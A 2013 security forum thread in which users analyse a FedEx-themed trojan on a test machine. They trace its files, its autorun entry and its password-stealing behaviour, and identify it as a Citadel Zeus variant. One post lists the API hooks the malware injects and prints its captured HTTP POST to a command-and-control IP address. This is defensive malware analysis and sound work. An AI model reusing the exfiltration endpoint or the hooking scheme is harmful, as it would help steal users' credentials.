I can haz a rootkit

Discussion in 'malware problems & news' started by Gullible Jones, Feb 16, 2013.

Thread Status:
Not open for further replies.
  1. Don't worry, I installed it deliberately on a test machine. It's an interesting one though. An analysis of the installer courtesy of Anubis is available here, but is on further examination somewhat incomplete:

    http://anubis.iseclab.org/?action=result&task_id=136f20ca3c0f15634d194bca2132761d3&format=txt

    The installer claims (unconvincingly) to be a PDF file from FedEx, but has the screensaver extension, and is actually an EXE. On execution, it installs a randomly named EXE (in my case "ceez.exe") into one of a bunch of randomly named directories created in the user's Application Data dir. It also creates an autorun entry for the EXE, which is easily detected by Sysinternals Autoruns. This program runs briefly after boot (or if clicked on), and accesses a bunch of files related to MRUs and possibly stored IE passwords. Judging from my router's logs, it also makes connection attempts to an IP address somewhere in Russia. Yay.

    (Then it goes and deletes itself. Double yay.)

    Anyway, ceez.exe doesn't appear to continue running, though there's no being sure. The file is fully visible, and detectable as a packed and encrypted trojan by many AVs, so you might think removing it and its autorun entry is all you have to do...

    Well, no. This is where things get interesting.

    When the ceez.exe file is deleted, it doesn't come back. And GMER detects no funny business, at first. But:

    - There's a file called Win1970.Conf.Collection.sys in the user's Temporary Internet Files folder. It can be seen from a Linux live CD, or from GMER's file browser, but is never visible from Windows Explorer. And it's actually (apparently!) an ASCII text file, containing this text:

    Code:
    [7B2]
    7B2=41321
    - There's also a file "desktop.ini" and a "Content.IE5" directory, containing more randomly named directories with more desktop.ini files. All of these are completely invisble from Explorer - not hidden or system files, but undetectable no matter what options are set.

    - Finally, there's a desktop.ini file in Application Data, along with another hidden file - not true-invisible, just normal hidden. This one is called App4870.ConfCollection.bin, and guess what it contains?

    Code:
    [7B2]
    7B2=41321
    The MBR checksums as normal in a Linux rescue environment, but there's clearly something else going on. It is extremely odd IMO that GMER sees these hidden files, but (with default scan settings anyway) mentions no unusual drivers loaded, or such. Makes me wonder what's going on.

    Anyway, if anyone wants to examine this, I can send a sample your way. Just remember to exercise caution, not hold me liable for damage, etc.

    I will post more information on this as I find it (or figure it out).
     
  2. On a related note, check out the stuff associated with the rogue IP:

    http://urlquery.net/report.php?id=997588

    Edit: also, GMER's file scan reports "no system modification" even though its file browser can easily see at least some of the hidden files. Bizarre. Let me check again with the live CD.

    Edit 2: Also there's an invisible index.dat file in the Content.IE5 dir. It's binary, 32K in size, not sure what's actually in it...

    Edit 3: And there's another file, "C:\Windows\Win7745.Settings Collection", again containing the mysterious ASCII text:

    Code:
    [7B2]
    7B2=41321
     
    Last edited by a moderator: Feb 16, 2013
  3. Hold on, some of these files are related to JV16 Powertools, which I was goofing around with on the test box... Serves me right. :oops:

    I will run further tests with a clean install, duh.

    Edit: okay, this is interesting.

    The FedEx malware appears to be very simple. It just runs once when you boot up, and sends your passwords and stuff to the Russian IP.

    OTOH, there looks to be some monkey business going on with JV16 Powertools Lite. It's what was creating the strangely named text files that only GMER can see. Not sure what's going on there.

    Sorry for the distraction, folks. Carry on.
     
    Last edited by a moderator: Feb 16, 2013
  4. Tyrizian

    Tyrizian Registered Member

    Joined:
    Apr 26, 2012
    Posts:
    2,804
    Interesting tests.
     
  5. Syobon

    Syobon Registered Member

    Joined:
    Dec 27, 2009
    Posts:
    469
    Thats why i like GMER
     
  6. noone_particular

    noone_particular Registered Member

    Joined:
    Aug 8, 2008
    Posts:
    3,798
    The Content.IE5 directory and the randomly named subfolders contained in it have been there since Win98. It's name, Content.IE5 is a holdover that names the original source, Internet Explorer 5. They were hidden back on 98 too, but not to the same degree. On 98, you could see the contents of the folder by using "explore". I don't remember offhand if that worked on Win 2000. On XP, they're hidden from "explore" as well. On XP, they're all visible in explorer replacements like XYplorer.

    The index.dat files are also from the early versions of IE and have been there since the 98 days. They're locked (in use) by explorer and Internet Explorer and can't be deleted while Windows is running. According to MS, they're supposed to improve performance. The only use I see for them is storing usage tracks, like a list of all the sites you've visited with Internet Explorer. None of the internet explorer settings affect them or their contents. They remain after you delete cookies, history, cache, etc. The average user isn't aware of these files. By comparing the contents of index.dat files to the user-deletable history, it's easy to tell when a user has tried to hide part of their activities. IMO, it's clear who these files were intended to benefit.

    On the older systems, Index.dat suite was able to display their contents and could create a batch file that deleted them on reboot. A lot of people were under the impression that the batch file didn't work as the files were still there the next time they looked. Windows recreates then on each reboot, minus the original usage tracks they contained.

    A partial solution to the index.dat files would be moving the temp, temporary internet files, and others to a ramdrive where they'll be deleted on each reboot. This worked on the older versions of Windows. No idea if it does on Vista and newer.
     
  7. stackz

    stackz Registered Member

    Joined:
    Dec 27, 2007
    Posts:
    619
    Location:
    Sydney Australia
    Once this is unpacked, it's quite clear that this is Citadel Zeus variant. It contains the string "Coded by BRIAN KREBS for personal use only. I love my job & wife." and also has video capture + extended credential stealing ability that the Citadel team added.
    Code:
    Typical injected process hooks:
    
    ntdll.dll-->NtCreateThread
    ntdll.dll-->LdrLoadDll
    kernel32.dll-->GetFileAttributesExW
    kernel32.dll-->ExitProcess
    advapi32.dll-->CreateProcessAsUserW
    advapi32.dll-->CreateProcessAsUserA
    user32.dll-->ReleaseDC
    user32.dll-->GetDC
    user32.dll-->TranslateMessage
    user32.dll-->GetWindowDC
    user32.dll-->GetMessageW
    user32.dll-->PeekMessageW
    user32.dll-->GetCapture
    user32.dll-->RegisterClassW
    user32.dll-->RegisterClassExW
    user32.dll-->OpenInputDesktop
    user32.dll-->SwitchDesktop
    user32.dll-->DefDlgProcW
    user32.dll-->GetMessageA
    user32.dll-->RegisterClassExA
    user32.dll-->DefWindowProcW
    user32.dll-->BeginPaint
    user32.dll-->EndPaint
    user32.dll-->GetCursorPos
    user32.dll-->GetMessagePos
    user32.dll-->CallWindowProcW
    user32.dll-->PeekMessageA
    user32.dll-->GetUpdateRect
    user32.dll-->CallWindowProcA
    user32.dll-->DefWindowProcA
    user32.dll-->SetCapture
    user32.dll-->ReleaseCapture
    user32.dll-->GetDCEx
    user32.dll-->RegisterClassA
    user32.dll-->GetUpdateRgn
    user32.dll-->DefFrameProcW
    user32.dll-->DefMDIChildProcW
    user32.dll-->GetClipboardData
    user32.dll-->DefDlgProcA
    user32.dll-->DefFrameProcA
    user32.dll-->DefMDIChildProcA
    user32.dll-->SetCursorPos
    wininet.dll-->InternetReadFile
    wininet.dll-->HttpQueryInfoA
    wininet.dll-->InternetCloseHandle
    wininet.dll-->InternetQueryDataAvailable
    wininet.dll-->HttpOpenRequestA
    wininet.dll-->HttpSendRequestW
    wininet.dll-->HttpOpenRequestW
    wininet.dll-->HttpSendRequestA
    wininet.dll-->InternetReadFileExA
    wininet.dll-->InternetSetFilePointer
    wininet.dll-->HttpSendRequestExA
    wininet.dll-->HttpSendRequestExW
    wininet.dll-->HttpEndRequestA
    wininet.dll-->HttpEndRequestW
    ws2_32.dll-->getaddrinfo
    ws2_32.dll-->closesocket
    ws2_32.dll-->send
    ws2_32.dll-->gethostbyname
    ws2_32.dll-->WSASend
    crypt32.dll-->PFXImportCertStore
    
    POST /caca/flogin.php HTTP/1.1
    Accept: */*
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
    Host: 91.243.115.83
    Content-Length: 118
    Connection: Keep-Alive
    Cache-Control: no-cache
    
    Report for unpacked binary: http://anubis.iseclab.org/?action=result&task_id=13a5e7d971481f5f4997ca9d6595f0d4a&format=txt
     
  8. Thanks, interesting that.
     
Loading...
Thread Status:
Not open for further replies.